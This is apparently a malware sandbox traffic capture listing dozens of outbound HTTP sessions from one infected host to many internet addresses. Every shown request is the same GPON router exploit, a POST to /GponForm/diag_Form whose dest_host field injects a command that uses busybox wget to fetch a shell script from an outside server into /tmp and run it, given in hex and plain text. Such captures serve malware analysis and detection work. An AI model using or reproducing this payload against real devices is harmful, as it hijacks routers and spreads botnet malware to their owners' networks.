Mar 21, 2024 05:17:33.126101017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.23	54870	212.89.118.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126101971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.23	50766	212.71.79.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126132965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.23	41902	210.230.4.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126164913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.23	59330	212.56.117.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126243114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.23	42248	210.158.220.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126246929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.23	57184	178.211.199.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126264095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.23	38670	5.81.189.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126296043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.23	57938	79.226.139.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126319885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.23	55574	109.14.47.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126349926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.23	59484	42.167.1.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126386881 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.23	60508	42.67.167.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126414061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.23	49768	37.248.239.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126462936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.23	36890	37.138.21.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126465082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.23	36738	2.99.194.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126506090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.23	51428	94.172.208.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126545906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.23	56868	2.117.125.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126547098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.23	43628	118.248.36.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126612902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.23	60844	118.1.194.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126643896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.23	45322	2.151.87.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126656055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.23	42604	94.244.49.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126684904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.23	48474	210.193.60.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126718998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.23	57492	109.241.73.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126748085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.23	55738	109.41.251.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126816988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.23	54162	212.92.71.45	443

Timestamp	Bytes transferred	Direction	Data
